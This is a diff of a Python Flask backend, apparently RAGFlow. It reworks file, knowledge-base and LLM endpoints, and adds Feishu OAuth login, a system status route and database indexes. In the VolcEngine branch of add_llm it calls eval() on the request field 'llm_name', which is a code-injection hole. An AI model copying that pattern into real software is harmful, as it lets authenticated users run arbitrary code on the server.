     if 'file' not in request.files:
         return get_json_result(
@@ -132,7 +132,7 @@ def create():
     input_file_type = request.json.get("type")
     if not pf_id:
         root_folder = FileService.get_root_folder(current_user.id)
-        pf_id = root_folder.id
+        pf_id = root_folder["id"]
 
     try:
         if not FileService.is_parent_folder_exist(pf_id):
@@ -165,7 +165,7 @@ def create():
 
 @manager.route('/list', methods=['GET'])
 @login_required
-def list():
+def list_files():
     pf_id = request.args.get("parent_id")
 
     keywords = request.args.get("keywords", "")
@@ -176,7 +176,8 @@ def list():
     desc = request.args.get("desc", True)
     if not pf_id:
         root_folder = FileService.get_root_folder(current_user.id)
-        pf_id = root_folder.id
+        pf_id = root_folder["id"]
+        FileService.init_knowledgebase_docs(pf_id, current_user.id)
     try:
         e, file = FileService.get_by_id(pf_id)
         if not e:
@@ -199,7 +200,7 @@ def list():
 def get_root_folder():
     try:
         root_folder = FileService.get_root_folder(current_user.id)
-        return get_json_result(data={"root_folder": root_folder.to_json()})
+        return get_json_result(data={"root_folder": root_folder})
     except Exception as e:
         return server_error_response(e)
 
@@ -250,6 +251,8 @@ def rm():
                 return get_data_error_result(retmsg="File or Folder not found!")
             if not file.tenant_id:
                 return get_data_error_result(retmsg="Tenant not found!")
+            if file.source_type == FileSource.KNOWLEDGEBASE:
+                continue
 
             if file.type == FileType.FOLDER.value:
                 file_id_list = FileService.get_all_innermost_file_ids(file_id, [])
@@ -274,11 +277,7 @@ def rm():
                 tenant_id = DocumentService.get_tenant_id(doc_id)
                 if not tenant_id:
                     return get_data_error_result(retmsg="Tenant not found!")
-                ELASTICSEARCH.deleteByQuery(
-                    Q("match", doc_id=doc.id), idxnm=search.index_name(tenant_id))
-                DocumentService.increment_chunk_num(
-                    doc.id, doc.kb_id, doc.token_num * -1, doc.chunk_num * -1, 0)
-                if not DocumentService.delete(doc):
+                if not DocumentService.remove_document(doc, tenant_id):
                     return get_data_error_result(
                         retmsg="Database error (Document removal)!")
             File2DocumentService.delete_by_file_id(file_id)
@@ -303,9 +302,10 @@ def rename():
                 data=False,
                 retmsg="The extension of file can't be changed",
                 retcode=RetCode.ARGUMENT_ERROR)
-        if FileService.query(name=req["name"], pf_id=file.parent_id):
-            return get_data_error_result(
-                retmsg="Duplicated file name in the same folder.")
+        for file in FileService.query(name=req["name"], pf_id=file.parent_id):
+            if file.name == req["name"]:
+                return get_data_error_result(
+                    retmsg="Duplicated file name in the same folder.")
 
         if not FileService.update_by_id(
                 req["file_id"], {"name": req["name"]}):
@@ -331,8 +331,8 @@ def get(file_id):
         e, file = FileService.get_by_id(file_id)
         if not e:
             return get_data_error_result(retmsg="Document not found!")
-
-        response = flask.make_response(MINIO.get(file.parent_id, file.location))
+        b, n = File2DocumentService.get_minio_address(file_id=file_id)
+        response = flask.make_response(MINIO.get(b, n))
         ext = re.search(r"\.([^.]+)$", file.name)
         if ext:
             if file.type == FileType.VISUAL.value:
@@ -343,5 +343,28 @@ def get(file_id):
                     'application/%s' %
                     ext.group(1))
         return response
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/mv', methods=['POST'])
+@login_required
+@validate_request("src_file_ids", "dest_file_id")
+def move():
+    req = request.json
+    try:
+        file_ids = req["src_file_ids"]
+        parent_id = req["dest_file_id"]
+        for file_id in file_ids:
+            e, file = FileService.get_by_id(file_id)
+            if not e:
+                return get_data_error_result(retmsg="File or Folder not found!")
+            if not file.tenant_id:
+                return get_data_error_result(retmsg="Tenant not found!")
+        fe, _ = FileService.get_by_id(parent_id)
+        if not fe:
+            return get_data_error_result(retmsg="Parent Folder not found!")
+        FileService.move_file(file_ids, parent_id)
+        return get_json_result(data=True)
     except Exception as e:
         return server_error_response(e)

api/apps/kb_app.py

@@ -19,12 +19,14 @@ from flask_login import login_required, current_user
 
 from api.db.services import duplicate_name
 from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
 from api.db.services.user_service import TenantService, UserTenantService
 from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
 from api.utils import get_uuid, get_format_time
-from api.db import StatusEnum, UserTenantRole
+from api.db import StatusEnum, UserTenantRole, FileSource
 from api.db.services.knowledgebase_service import KnowledgebaseService
-from api.db.db_models import Knowledgebase
+from api.db.db_models import Knowledgebase, File
 from api.settings import stat_logger, RetCode
 from api.utils.api_utils import get_json_result
 from rag.nlp import search
@@ -109,7 +111,7 @@ def detail():
 
 @manager.route('/list', methods=['GET'])
 @login_required
-def list():
+def list_kbs():
     page_number = request.args.get("page", 1)
     items_per_page = request.args.get("page_size", 150)
     orderby = request.args.get("orderby", "create_time")
@@ -136,17 +138,14 @@ def rm():
                 data=False, retmsg=f'Only owner of knowledgebase authorized for this operation.', retcode=RetCode.OPERATING_ERROR)
 
         for doc in DocumentService.query(kb_id=req["kb_id"]):
-            ELASTICSEARCH.deleteByQuery(
-                Q("match", doc_id=doc.id), idxnm=search.index_name(kbs[0].tenant_id))
-
-            DocumentService.increment_chunk_num(
-                doc.id, doc.kb_id, doc.token_num * -1, doc.chunk_num * -1, 0)
-            if not DocumentService.delete(doc):
+            if not DocumentService.remove_document(doc, kbs[0].tenant_id):
                 return get_data_error_result(
                     retmsg="Database error (Document removal)!")
+            f2d = File2DocumentService.get_by_document_id(doc.id)
+            FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id])
+            File2DocumentService.delete_by_document_id(doc.id)
 
-        if not KnowledgebaseService.update_by_id(
-                req["kb_id"], {"status": StatusEnum.INVALID.value}):
+        if not KnowledgebaseService.delete_by_id(req["kb_id"]):
             return get_data_error_result(
                 retmsg="Database error (Knowledgebase removal)!")
         return get_json_result(data=True)

api/apps/llm_app.py

@@ -20,15 +20,15 @@ from api.utils.api_utils import server_error_response, get_data_error_result, va
 from api.db import StatusEnum, LLMType
 from api.db.db_models import TenantLLM
 from api.utils.api_utils import get_json_result
-from rag.llm import EmbeddingModel, ChatModel
-
+from rag.llm import EmbeddingModel, ChatModel, RerankModel,CvModel
+import requests
 
 @manager.route('/factories', methods=['GET'])
 @login_required
 def factories():
     try:
         fac = LLMFactoriesService.get_all()
-        return get_json_result(data=[f.to_dict() for f in fac if f.name not in ["Youdao", "FastEmbed"]])
+        return get_json_result(data=[f.to_dict() for f in fac if f.name not in ["Youdao", "FastEmbed", "BAAI"]])
     except Exception as e:
         return server_error_response(e)
 
@@ -39,31 +39,43 @@ def factories():
 def set_api_key():
     req = request.json
     # test if api key works
-    chat_passed = False
+    chat_passed, embd_passed, rerank_passed = False, False, False
     factory = req["llm_factory"]
     msg = ""
     for llm in LLMService.query(fid=factory):
-        if llm.model_type == LLMType.EMBEDDING.value:
+        if not embd_passed and llm.model_type == LLMType.EMBEDDING.value:
             mdl = EmbeddingModel[factory](
                 req["api_key"], llm.llm_name, base_url=req.get("base_url"))
             try:
                 arr, tc = mdl.encode(["Test if the api key is available"])
                 if len(arr[0]) == 0 or tc == 0:
                     raise Exception("Fail")
+                embd_passed = True
             except Exception as e:
                 msg += f"\nFail to access embedding model({llm.llm_name}) using this api key." + str(e)
         elif not chat_passed and llm.model_type == LLMType.CHAT.value:
             mdl = ChatModel[factory](
                 req["api_key"], llm.llm_name, base_url=req.get("base_url"))
             try:
-                m, tc = mdl.chat(None, [{"role": "user", "content": "Hello! How are you doing!"}], {
-                                 "temperature": 0.9})
+                m, tc = mdl.chat(None, [{"role": "user", "content": "Hello! How are you doing!"}], 
+                                 {"temperature": 0.9,'max_tokens':50})
                 if not tc:
                     raise Exception(m)
-                chat_passed = True
             except Exception as e:
                 msg += f"\nFail to access model({llm.llm_name}) using this api key." + str(
                     e)
+            chat_passed = True
+        elif not rerank_passed and llm.model_type == LLMType.RERANK:
+            mdl = RerankModel[factory](
+                req["api_key"], llm.llm_name, base_url=req.get("base_url"))
+            try:
+                arr, tc = mdl.similarity("What's the weather?", ["Is it sunny today?"])
+                if len(arr) == 0 or tc == 0:
+                    raise Exception("Fail")
+            except Exception as e:
+                msg += f"\nFail to access model({llm.llm_name}) using this api key." + str(
+                    e)
+            rerank_passed = True
 
     if msg:
         return get_data_error_result(retmsg=msg)
@@ -96,20 +108,46 @@ def set_api_key():
 @validate_request("llm_factory", "llm_name", "model_type")
 def add_llm():
     req = request.json
+    factory = req["llm_factory"]
+
+    if factory == "VolcEngine":
+        # For VolcEngine, due to its special authentication method
+        # Assemble volc_ak, volc_sk, endpoint_id into api_key
+        temp = list(eval(req["llm_name"]).items())[0]
+        llm_name = temp[0]
+        endpoint_id = temp[1]
+        api_key = '{' + f'"volc_ak": "{req.get("volc_ak", "")}", ' \
+                        f'"volc_sk": "{req.get("volc_sk", "")}", ' \
+                        f'"ep_id": "{endpoint_id}", ' + '}'
+    elif factory == "Bedrock":
+        # For Bedrock, due to its special authentication method
+        # Assemble bedrock_ak, bedrock_sk, bedrock_region
+        llm_name = req["llm_name"]
+        api_key = '{' + f'"bedrock_ak": "{req.get("bedrock_ak", "")}", ' \
+                        f'"bedrock_sk": "{req.get("bedrock_sk", "")}", ' \
+                        f'"bedrock_region": "{req.get("bedrock_region", "")}", ' + '}'
+    elif factory == "LocalAI":
+        llm_name = req["llm_name"]+"___LocalAI"
+        api_key = "xxxxxxxxxxxxxxx"
+    else:
+        llm_name = req["llm_name"]
+        api_key = "xxxxxxxxxxxxxxx"
+
     llm = {
         "tenant_id": current_user.id,
-        "llm_factory": req["llm_factory"],
+        "llm_factory": factory,
         "model_type": req["model_type"],
-        "llm_name": req["llm_name"],
+        "llm_name": llm_name,
         "api_base": req.get("api_base", ""),
-        "api_key": "xxxxxxxxxxxxxxx"
+        "api_key": api_key
     }
 
-    factory = req["llm_factory"]
     msg = ""
     if llm["model_type"] == LLMType.EMBEDDING.value:
         mdl = EmbeddingModel[factory](
-            key=None, model_name=llm["llm_name"], base_url=llm["api_base"])
+            key=llm['api_key'] if factory in ["VolcEngine", "Bedrock"] else None,
+            model_name=llm["llm_name"], 
+            base_url=llm["api_base"])
         try:
             arr, tc = mdl.encode(["Test if the api key is available"])
             if len(arr[0]) == 0 or tc == 0:
@@ -118,7 +156,10 @@ def add_llm():
             msg += f"\nFail to access embedding model({llm['llm_name']})." + str(e)
     elif llm["model_type"] == LLMType.CHAT.value:
         mdl = ChatModel[factory](
-            key=None, model_name=llm["llm_name"], base_url=llm["api_base"])
+            key=llm['api_key'] if factory in ["VolcEngine", "Bedrock"] else None,
+            model_name=llm["llm_name"],
+            base_url=llm["api_base"]
+        )
         try:
             m, tc = mdl.chat(None, [{"role": "user", "content": "Hello! How are you doing!"}], {
                              "temperature": 0.9})
@@ -127,6 +168,36 @@ def add_llm():
         except Exception as e:
             msg += f"\nFail to access model({llm['llm_name']})." + str(
                 e)
+    elif llm["model_type"] == LLMType.RERANK:
+        mdl = RerankModel[factory](
+            key=None, model_name=llm["llm_name"], base_url=llm["api_base"]
+        )
+        try:
+            arr, tc = mdl.similarity("Hello~ Ragflower!", ["Hi, there!"])
+            if len(arr) == 0 or tc == 0:
+                raise Exception("Not known.")
+        except Exception as e:
+            msg += f"\nFail to access model({llm['llm_name']})." + str(
+                e)
+    elif llm["model_type"] == LLMType.IMAGE2TEXT.value:
+        mdl = CvModel[factory](
+            key=None, model_name=llm["llm_name"], base_url=llm["api_base"]
+        )
+        try:
+            img_url = (
+                "https://upload.wikimedia.org/wikipedia/comm"
+                "ons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/256"
+                "0px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg"
+            )
+            res = requests.get(img_url)
+            if res.status_code == 200:
+                m, tc = mdl.describe(res.content)
+                if not tc:
+                    raise Exception(m)
+            else:
+                pass
+        except Exception as e:
+            msg += f"\nFail to access model({llm['llm_name']})." + str(e)
     else:
         # TODO: check other type of models
         pass
@@ -134,7 +205,6 @@ def add_llm():
     if msg:
         return get_data_error_result(retmsg=msg)
 
-
     if not TenantLLMService.filter_update(
             [TenantLLM.tenant_id == current_user.id, TenantLLM.llm_factory == factory, TenantLLM.llm_name == llm["llm_name"]], llm):
         TenantLLMService.save(**llm)
@@ -142,6 +212,16 @@ def add_llm():
     return get_json_result(data=True)
 
 
+@manager.route('/delete_llm', methods=['POST'])
+@login_required
+@validate_request("llm_factory", "llm_name")
+def delete_llm():
+    req = request.json
+    TenantLLMService.filter_delete(
+            [TenantLLM.tenant_id == current_user.id, TenantLLM.llm_factory == req["llm_factory"], TenantLLM.llm_name == req["llm_name"]])
+    return get_json_result(data=True)
+
+
 @manager.route('/my_llms', methods=['GET'])
 @login_required
 def my_llms():
@@ -165,7 +245,7 @@ def my_llms():
 
 @manager.route('/list', methods=['GET'])
 @login_required
-def list():
+def list_app():
     model_type = request.args.get("model_type")
     try:
         objs = TenantLLMService.query(tenant_id=current_user.id)
@@ -174,7 +254,7 @@ def list():
         llms = [m.to_dict()
                 for m in llms if m.status == StatusEnum.VALID.value]
         for m in llms:
-            m["available"] = m["fid"] in facts or m["llm_name"].lower() == "flag-embedding" or m["fid"] in ["Youdao","FastEmbed"]
+            m["available"] = m["fid"] in facts or m["llm_name"].lower() == "flag-embedding" or m["fid"] in ["Youdao","FastEmbed", "BAAI"]
 
         llm_set = set([m["llm_name"] for m in llms])
         for o in objs:
@@ -184,7 +264,7 @@ def list():
 
         res = {}
         for m in llms:
-            if model_type and m["model_type"] != model_type:
+            if model_type and m["model_type"].find(model_type)<0:
                 continue
             if m["fid"] not in res:
                 res[m["fid"]] = []

api/apps/system_app.py

@@ -0,0 +1,68 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License
+#
+from flask_login import login_required
+
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.utils.api_utils import get_json_result
+from api.versions import get_rag_version
+from rag.settings import SVR_QUEUE_NAME
+from rag.utils.es_conn import ELASTICSEARCH
+from rag.utils.minio_conn import MINIO
+from timeit import default_timer as timer
+
+from rag.utils.redis_conn import REDIS_CONN
+
+
+@manager.route('/version', methods=['GET'])
+@login_required
+def version():
+    return get_json_result(data=get_rag_version())
+
+
+@manager.route('/status', methods=['GET'])
+@login_required
+def status():
+    res = {}
+    st = timer()
+    try:
+        res["es"] = ELASTICSEARCH.health()
+        res["es"]["elapsed"] = "{:.1f}".format((timer() - st)*1000.)
+    except Exception as e:
+        res["es"] = {"status": "red", "elapsed": "{:.1f}".format((timer() - st)*1000.), "error": str(e)}
+
+    st = timer()
+    try:
+        MINIO.health()
+        res["minio"] = {"status": "green", "elapsed": "{:.1f}".format((timer() - st)*1000.)}
+    except Exception as e:
+        res["minio"] = {"status": "red", "elapsed": "{:.1f}".format((timer() - st)*1000.), "error": str(e)}
+
+    st = timer()
+    try:
+        KnowledgebaseService.get_by_id("x")
+        res["mysql"] = {"status": "green", "elapsed": "{:.1f}".format((timer() - st)*1000.)}
+    except Exception as e:
+        res["mysql"] = {"status": "red", "elapsed": "{:.1f}".format((timer() - st)*1000.), "error": str(e)}
+
+    st = timer()
+    try:
+        if not REDIS_CONN.health():
+            raise Exception("Lost connection!")
+        res["redis"] = {"status": "green", "elapsed": "{:.1f}".format((timer() - st)*1000.)}
+    except Exception as e:
+        res["redis"] = {"status": "red", "elapsed": "{:.1f}".format((timer() - st)*1000.), "error": str(e)}
+
+    return get_json_result(data=res)

api/apps/user_app.py

@@ -13,6 +13,7 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
+import json
 import re
 from datetime import datetime
 
@@ -25,8 +26,9 @@ from api.db.services.llm_service import TenantLLMService, LLMService
 from api.utils.api_utils import server_error_response, validate_request
 from api.utils import get_uuid, get_format_time, decrypt, download_img, current_timestamp, datetime_format
 from api.db import UserTenantRole, LLMType, FileType
-from api.settings import RetCode, GITHUB_OAUTH, CHAT_MDL, EMBEDDING_MDL, ASR_MDL, IMAGE2TEXT_MDL, PARSERS, API_KEY, \
-    LLM_FACTORY, LLM_BASE_URL
+from api.settings import RetCode, GITHUB_OAUTH, FEISHU_OAUTH, CHAT_MDL, EMBEDDING_MDL, ASR_MDL, IMAGE2TEXT_MDL, PARSERS, \
+    API_KEY, \
+    LLM_FACTORY, LLM_BASE_URL, RERANK_MDL
 from api.db.services.user_service import UserService, TenantService, UserTenantService
 from api.db.services.file_service import FileService
 from api.settings import stat_logger
@@ -122,6 +124,79 @@ def github_callback():
     return redirect("/?auth=%s" % user.get_id())
 
 
+@manager.route('/feishu_callback', methods=['GET'])
+def feishu_callback():
+    import requests
+    app_access_token_res = requests.post(FEISHU_OAUTH.get("app_access_token_url"), data=json.dumps({
+        "app_id": FEISHU_OAUTH.get("app_id"),
+        "app_secret": FEISHU_OAUTH.get("app_secret")
+    }), headers={"Content-Type": "application/json; charset=utf-8"})
+    app_access_token_res = app_access_token_res.json()
+    if app_access_token_res['code'] != 0:
+        return redirect("/?error=%s" % app_access_token_res)
+
+    res = requests.post(FEISHU_OAUTH.get("user_access_token_url"), data=json.dumps({
+        "grant_type": FEISHU_OAUTH.get("grant_type"),
+        "code": request.args.get('code')
+    }), headers={"Content-Type": "application/json; charset=utf-8",
+                 'Authorization': f"Bearer {app_access_token_res['app_access_token']}"})
+    res = res.json()
+    if res['code'] != 0:
+        return redirect("/?error=%s" % res["message"])
+
+    if "contact:user.email:readonly" not in res["data"]["scope"].split(" "):
+        return redirect("/?error=contact:user.email:readonly not in scope")
+    session["access_token"] = res["data"]["access_token"]
+    session["access_token_from"] = "feishu"
+    userinfo = user_info_from_feishu(session["access_token"])
+    users = UserService.query(email=userinfo["email"])
+    user_id = get_uuid()
+    if not users:
+        try:
+            try:
+                avatar = download_img(userinfo["avatar_url"])
+            except Exception as e:
+                stat_logger.exception(e)
+                avatar = ""
+            users = user_register(user_id, {
+                "access_token": session["access_token"],
+                "email": userinfo["email"],
+                "avatar": avatar,
+                "nickname": userinfo["en_name"],
+                "login_channel": "feishu",
+                "last_login_time": get_format_time(),
+                "is_superuser": False,
+            })
+            if not users:
+                raise Exception('Register user failure.')
+            if len(users) > 1:
+                raise Exception('Same E-mail exist!')
+            user = users[0]
+            login_user(user)
+            return redirect("/?auth=%s" % user.get_id())
+        except Exception as e:
+            rollback_user_registration(user_id)
+            stat_logger.exception(e)
+            return redirect("/?error=%s" % str(e))
+    user = users[0]
+    user.access_token = get_uuid()
+    login_user(user)
+    user.save()
+    return redirect("/?auth=%s" % user.get_id())
+
+
+def user_info_from_feishu(access_token):
+    import requests
+    headers = {"Content-Type": "application/json; charset=utf-8",
+               'Authorization': f"Bearer {access_token}"}
+    res = requests.get(
+        f"https://open.feishu.cn/open-apis/authen/v1/user_info",
+        headers=headers)
+    user_info = res.json()["data"]
+    user_info["email"] = None if user_info.get("email") == "" else user_info["email"]
+    return user_info
+
+
 def user_info_from_github(access_token):
     import requests
     headers = {"Accept": "application/json",
@@ -200,7 +275,7 @@ def rollback_user_registration(user_id):
     except Exception as e:
         pass
     try:
-        TenantLLM.delete().where(TenantLLM.tenant_id == user_id).excute()
+        TenantLLM.delete().where(TenantLLM.tenant_id == user_id).execute()
     except Exception as e:
         pass
 
@@ -214,7 +289,8 @@ def user_register(user_id, user):
         "embd_id": EMBEDDING_MDL,
         "asr_id": ASR_MDL,
         "parser_ids": PARSERS,
-        "img2txt_id": IMAGE2TEXT_MDL
+        "img2txt_id": IMAGE2TEXT_MDL,
+        "rerank_id": RERANK_MDL
     }
     usr_tenant = {
         "tenant_id": user_id,

api/contants.py

@@ -0,0 +1,16 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+
+NAME_LENGTH_LIMIT = 2 ** 10

api/db/__init__.py

@@ -54,6 +54,7 @@ class LLMType(StrEnum):
     EMBEDDING = 'embedding'
     SPEECH2TEXT = 'speech2text'
     IMAGE2TEXT = 'image2text'
+    RERANK = 'rerank'
 
 
 class ChatStyle(StrEnum):
@@ -83,3 +84,18 @@ class ParserType(StrEnum):
     NAIVE = "naive"
     PICTURE = "picture"
     ONE = "one"
+    AUDIO = "audio"
+    KG = "knowledge_graph"
+
+
+class FileSource(StrEnum):
+    LOCAL = ""
+    KNOWLEDGEBASE = "knowledgebase"
+    S3 = "s3"
+
+
+class CanvasType(StrEnum):
+    ChatBot = "chatbot"
+    DocBot = "docbot"
+
+KNOWLEDGEBASE_FOLDER_NAME=".knowledgebase"

api/db/db_models.py

@@ -21,14 +21,13 @@ import operator
 from functools import wraps
 from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
 from flask_login import UserMixin
-
+from playhouse.migrate import MySQLMigrator, migrate
 from peewee import (
-    BigAutoField, BigIntegerField, BooleanField, CharField,
-    CompositeKey, Insert, IntegerField, TextField, FloatField, DateTimeField,
+    BigIntegerField, BooleanField, CharField,
+    CompositeKey, IntegerField, TextField, FloatField, DateTimeField,
     Field, Model, Metadata
 )
 from playhouse.pool import PooledMySQLDatabase
-
 from api.db import SerializedType, ParserType
 from api.settings import DATABASE, stat_logger, SECRET_KEY
 from api.utils.log_utils import getLogger
@@ -145,10 +144,10 @@ def remove_field_name_prefix(field_name):
 
 
 class BaseModel(Model):
-    create_time = BigIntegerField(null=True)
-    create_date = DateTimeField(null=True)
-    update_time = BigIntegerField(null=True)
-    update_date = DateTimeField(null=True)
+    create_time = BigIntegerField(null=True, index=True)
+    create_date = DateTimeField(null=True, index=True)
+    update_time = BigIntegerField(null=True, index=True)
+    update_date = DateTimeField(null=True, index=True)
 
     def to_json(self):
         # This function is obsolete
@@ -235,7 +234,7 @@ class BaseModel(Model):
     def insert(cls, __data=None, **insert):
         if isinstance(__data, dict) and __data:
             __data[cls._meta.combined["create_time"]
-                   ] = utils.current_timestamp()
+            ] = utils.current_timestamp()
         if insert:
             insert["create_time"] = utils.current_timestamp()
 
@@ -249,7 +248,7 @@ class BaseModel(Model):
             return {}
 
         normalized[cls._meta.combined["update_time"]
-                   ] = utils.current_timestamp()
+        ] = utils.current_timestamp()
 
         for f_n in AUTO_DATE_TIMESTAMP_FIELD_PREFIX:
             if {f"{f_n}_time", f"{f_n}_date"}.issubset(cls._meta.combined.keys()) and \
@@ -333,7 +332,7 @@ DB.lock = DatabaseLock
 def close_connection():
     try:
         if DB:
-            DB.close()
+            DB.close_stale(age=30)
     except Exception as e:
         LOGGER.exception(e)
 
@@ -344,7 +343,7 @@ class DataBaseModel(BaseModel):
 
 
 @DB.connection_context()
-def init_database_tables():
+def init_database_tables(alter_fields=[]):
     members = inspect.getmembers(sys.modules[__name__], inspect.isclass)
     table_objs = []
     create_failed_list = []
@@ -361,6 +360,7 @@ def init_database_tables():
     if create_failed_list:
         LOGGER.info(f"create tables failed: {create_failed_list}")
         raise Exception(f"create tables failed: {create_failed_list}")
+    migrate_db()
 
 
 def fill_db_model_object(model_object, human_model_dict):
@@ -373,9 +373,9 @@ def fill_db_model_object(model_object, human_model_dict):
 
 class User(DataBaseModel, UserMixin):
     id = CharField(max_length=32, primary_key=True)
-    access_token = CharField(max_length=255, null=True)
-    nickname = CharField(max_length=100, null=False, help_text="nicky name")
-    password = CharField(max_length=255, null=True, help_text="password")
+    access_token = CharField(max_length=255, null=True, index=True)
+    nickname = CharField(max_length=100, null=False, help_text="nicky name", index=True)
+    password = CharField(max_length=255, null=True, help_text="password", index=True)
     email = CharField(
         max_length=255,
         null=False,
@@ -386,28 +386,32 @@ class User(DataBaseModel, UserMixin):
         max_length=32,
         null=True,
         help_text="English|Chinese",
-        default="English")
+        default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English",
+        index=True)
     color_schema = CharField(
         max_length=32,
         null=True,
         help_text="Bright|Dark",
-        default="Bright")
+        default="Bright",
+        index=True)
     timezone = CharField(
         max_length=64,
         null=True,
         help_text="Timezone",
-        default="UTC+8\tAsia/Shanghai")
-    last_login_time = DateTimeField(null=True)
-    is_authenticated = CharField(max_length=1, null=False, default="1")
-    is_active = CharField(max_length=1, null=False, default="1")
-    is_anonymous = CharField(max_length=1, null=False, default="0")
-    login_channel = CharField(null=True, help_text="from which user login")
+        default="UTC+8\tAsia/Shanghai",
+        index=True)
+    last_login_time = DateTimeField(null=True, index=True)
+    is_authenticated = CharField(max_length=1, null=False, default="1", index=True)
+    is_active = CharField(max_length=1, null=False, default="1", index=True)
+    is_anonymous = CharField(max_length=1, null=False, default="0", index=True)
+    login_channel = CharField(null=True, help_text="from which user login", index=True)
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
-    is_superuser = BooleanField(null=True, help_text="is root", default=False)
+        default="1",
+        index=True)
+    is_superuser = BooleanField(null=True, help_text="is root", default=False, index=True)
 
     def __str__(self):
         return self.email
@@ -422,31 +426,41 @@ class User(DataBaseModel, UserMixin):
 
 class Tenant(DataBaseModel):
     id = CharField(max_length=32, primary_key=True)
-    name = CharField(max_length=100, null=True, help_text="Tenant name")
-    public_key = CharField(max_length=255, null=True)
-    llm_id = CharField(max_length=128, null=False, help_text="default llm ID")
+    name = CharField(max_length=100, null=True, help_text="Tenant name", index=True)
+    public_key = CharField(max_length=255, null=True, index=True)
+    llm_id = CharField(max_length=128, null=False, help_text="default llm ID", index=True)
     embd_id = CharField(
         max_length=128,
         null=False,
-        help_text="default embedding model ID")
+        help_text="default embedding model ID",
+        index=True)
     asr_id = CharField(
         max_length=128,
         null=False,
-        help_text="default ASR model ID")
+        help_text="default ASR model ID",
+        index=True)
     img2txt_id = CharField(
         max_length=128,
         null=False,
-        help_text="default image to text model ID")
+        help_text="default image to text model ID",
+        index=True)
+    rerank_id = CharField(
+        max_length=128,
+        null=False,
+        help_text="default rerank model ID",
+        index=True)
     parser_ids = CharField(
         max_length=256,
         null=False,
-        help_text="document processors")
-    credit = IntegerField(default=512)
+        help_text="document processors",
+        index=True)
+    credit = IntegerField(default=512, index=True)
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
+        default="1",
+        index=True)
 
     class Meta:
         db_table = "tenant"
@@ -454,15 +468,16 @@ class Tenant(DataBaseModel):
 
 class UserTenant(DataBaseModel):
     id = CharField(max_length=32, primary_key=True)
-    user_id = CharField(max_length=32, null=False)
-    tenant_id = CharField(max_length=32, null=False)
-    role = CharField(max_length=32, null=False, help_text="UserTenantRole")
-    invited_by = CharField(max_length=32, null=False)
+    user_id = CharField(max_length=32, null=False, index=True)
+    tenant_id = CharField(max_length=32, null=False, index=True)
+    role = CharField(max_length=32, null=False, help_text="UserTenantRole", index=True)
+    invited_by = CharField(max_length=32, null=False, index=True)
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
+        default="1",
+        index=True)
 
     class Meta:
         db_table = "user_tenant"
@@ -470,15 +485,16 @@ class UserTenant(DataBaseModel):
 
 class InvitationCode(DataBaseModel):
     id = CharField(max_length=32, primary_key=True)
-    code = CharField(max_length=32, null=False)
-    visit_time = DateTimeField(null=True)
-    user_id = CharField(max_length=32, null=True)
-    tenant_id = CharField(max_length=32, null=True)
+    code = CharField(max_length=32, null=False, index=True)
+    visit_time = DateTimeField(null=True, index=True)
+    user_id = CharField(max_length=32, null=True, index=True)
+    tenant_id = CharField(max_length=32, null=True, index=True)
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
+        default="1",
+        index=True)
 
     class Meta:
         db_table = "invitation_code"
@@ -494,12 +510,14 @@ class LLMFactories(DataBaseModel):
     tags = CharField(
         max_length=255,
         null=False,
-        help_text="LLM, Text Embedding, Image2Text, ASR")
+        help_text="LLM, Text Embedding, Image2Text, ASR",
+        index=True)
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
+        default="1",
+        index=True)
 
     def __str__(self):
         return self.name
@@ -519,18 +537,22 @@ class LLM(DataBaseModel):
     model_type = CharField(
         max_length=128,
         null=False,
-        help_text="LLM, Text Embedding, Image2Text, ASR")
-    fid = CharField(max_length=128, null=False, help_text="LLM factory id")
+        help_text="LLM, Text Embedding, Image2Text, ASR",
+        index=True)
+    fid = CharField(max_length=128, null=False, help_text="LLM factory id", index=True)
     max_tokens = IntegerField(default=0)
+
     tags = CharField(
         max_length=255,
         null=False,
-        help_text="LLM, Text Embedding, Image2Text, Chat, 32k...")
+        help_text="LLM, Text Embedding, Image2Text, Chat, 32k...",
+        index=True)
     status = CharField(
         max_length=1,
         null=True,
         help_text="is it validate(0: wasted，1: validate)",
-        default="1")
+        default="1",
+        index=True)
 
     def __str__(self):
         return self.llm_name
@@ -540,23 +562,27 @@ class LLM(DataBaseModel):
 
 
 class TenantLLM(DataBaseModel):
-    tenant_id = CharField(max_length=32, null=False)
+    tenant_id = CharField(max_length=32, null=False, index=True)
     llm_factory = CharField(
         max_length=128,
         null=False,
-        help_text="LLM factory name")
+        help_text="LLM factory name",
+        index=True)
     model_type = CharField(
         max_length=128,
         null=True,
